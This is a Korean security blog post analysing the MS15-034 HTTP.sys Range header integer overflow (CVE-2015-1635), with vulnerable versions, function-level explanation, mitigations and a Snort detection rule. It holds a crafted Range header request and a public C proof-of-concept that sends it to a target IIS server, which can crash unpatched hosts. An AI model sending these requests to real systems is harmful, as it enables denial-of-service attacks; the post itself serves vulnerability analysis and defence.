1. HTTP.sys
- w3wp.exe라는 IIS worker process와 Client 사이의 중간자 역할
- Client로부터 요청을 받아 w3wp.exe에 전달해주며, w3wp.exe가 처리한 결과를 받아 다시 Client에 전달
2. 취약점
- HTTP 요청에서 패킷 사이즈를 변경하여 정수 오버플로를 발생시켜 서버에 BSOD(Blue Screen Of Death)를 유발하거나, 임의의 명령을 수행할 수 있는 취약점
취약한 버전
- Microsoft Windows 7 SP1
- Windows 8
- Windows 8.1
- Windows Server 2012 Gold 및 R2
- Windows Server 2008 R2 SP1
2.1 취약점 분석
- HTTP.sys의 주요 함수
함수명 | 설명 |
UlpParseRange | - Client 요청 패킷을 처음 처리하는 함수 - 동일한 요청에 대해서는 웹 서버에서 캐쉬된 Content를 사용해 속도를 높임 |
UlPrepareCacheMissRangeResponse | - Client에서 처음 요청 했을 때 Response 처리 해주는 함수 |
UlAdjustRangesToContentSize | - 요청 받은 range와 파일 size를 비교 및 체크를 수행하는 함수 |
UlpBuildCacheEntry | - 동일한 요청을 받은 경우 웹 서버 성능 향상을 위한 캐시함수 |
UlBuildFastRangeCacheMdlChain | - _imp__IoBuildPartialMdl 호출 |
_imp__IoBuildPartialMdl | - UlBuildFastRangeCacheMdlChain 함수의 return 값 만큼 메모리 할당 |
- 취약점이 발생하는 함수는 UlAdjustRangesToContentSize()로 다음 식을 이용해 요청 받은 파일 사이즈를 처리
// Security Check 함수
// 실제 파일 사이즈보다 작은지 검증
// Range High + 1 값이 요청받은 파일 사이즈보다 작을 경우 Security Check OK
Range Low + (Range High - Range Low + 1) -> Range High + 1
// 할당 받는 메모리 크기
Return Value = Range High - Range Low + 1
- 정상적인 요청의 경우와 조작된 요청을 비교하면 다음과 같음 (Range 값 중 18은 0보다 큰 임의의 큰 값을 선택한 것)
정상적인 요청 | 조작된 요청 |
GET /hello.png HTTP/1.1 Range: 18-1365 hello.png FileSize : 184946 |
GET /hello.png HTTP/1.1 Range: 18-18446744073709551615 hello.png FileSize : 184946 |
① Range High + 1 < File Size (Security Check 수행) - 1365+1 = 1366 < 184946 // Security Check OK ② Range High - Range Low + 1 Retutn(할당 받는 메모리 크기) - 1365-18+1 = 1348 ③ _imp__IoBuildPartialMdl 메모리 할당 - 1348 만큼의 메모리 할당 |
① Range High + 1 < File Size (Security Check 수행) - 18446744073709551615+1 < 184946 - 18446744073709551615는 16진수로 0xFFFFFFFFFFFFFFFF - 64bit 이상 표현할 수 없기 때문에 0x0000000000000000이 됨 - 0 < 184946 이므로 Security Check OK ② Range High - Range Low + 1 Retutn(할당 받는 메모리 크기) - 18446744073709551615-18+1 = 0xFFFFFFFFFFFFFFEE ③ _imp__IoBuildPartialMdl 메모리 할당 0xFFFFFFFFFFFFFFEE 만큼의 메모리 할당 |
- 위 표 및 사진에 따라, _imp__IoBuildPartialMdl에 의해 0xFFFFFFFFFFFFFFEE 만큼의 메모리를 받아오는 과정에서 BSOD가 발생
2.2 취약점 상세
- 취약 서버 구성
- Range 헤더 조작 후 요청 전송
- BSOD 발생 확인
- 해당 패킷을 와이어샤크로 확인하면 다음과 같음
2.3 PoC
- 공개된 PoC를 확인해 보면 Range 헤더를 조작하는 것을 알 수 있음
/*
UNTESTED - MS15-034 Checker
THE BUG:
8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here
ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4
BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>
int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;
struct sockaddr_in serv_addr;
struct hostent *server;
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
}
return sockfd;
}
int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];
// Check server
char request[] = "GET / HTTP/1.0\r\n\r\n";
// our evil buffer
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
}
printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}
sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");
}
3. 대응방안
3.1 서버 측면
① Windows 최신 업데이트 적용
- 패치된 버전에서는 UlpParseRange 함수에 RtlULongLongAdd 함수를 호출하여 Overflow 여부를 확인하도록 함
- Integer Overflow가 발생할 경우 RtlULongLongAdd 함수는 STATUS_INTEGER_OVERFLOW 에러를 리턴
3.2 네트워크 측면
① 탐지 룰 등록
- 공개된 PoC를 확인해보면 Range 헤더를 조작하므로 Range 헤더 등을 탐지
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-IIS Microsoft IIS Range header integer overflow attempt"; flow:to_server,established; content:"Range"; nocase; http_header; content:"bytes"; distance:0; nocase; http_header; content:!"|0A|"; within:12; http_header; pcre:"/^Range\s*\x3a\s*bytes\s*\x3d[^\x0a]*?\d{11}/Him"; metadata:policy security-ips drop, service http; reference:bugtraq,74013; reference:cve,2015-1635; reference:url,technet.microsoft.com/en-us/security/bulletin/ms15-034; classtype:attempted-dos; sid:34061; rev:3;)
4. 참고
- https://www.sharedit.co.kr/posts/1912
- https://nvd.nist.gov/vuln/detail/CVE-2015-1635
- https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2015/ms15-034
- https://www.exploit-db.com/exploits/36773
- https://github.com/John-Lin/docker-snort/blob/master/snortrules-snapshot-2972/rules/server-iis.rules
'취약점 > Denial of Service' 카테고리의 다른 글
OpenSSL 3.0 X509 스택 버퍼 오버플로 (CVE-2022-3602, CVE-2022-3786) (0) | 2023.01.13 |
---|---|
Tomcat Integer Overflow Vulnerability (CVE-2014-0099) (0) | 2023.01.04 |
PDoS (Permanent Denial Of Service) (1) | 2022.11.20 |
DoS / DDoS / DRDoS #3 대응 방안 (0) | 2022.08.14 |
DoS / DDoS / DRDoS #2 유형 (0) | 2022.08.14 |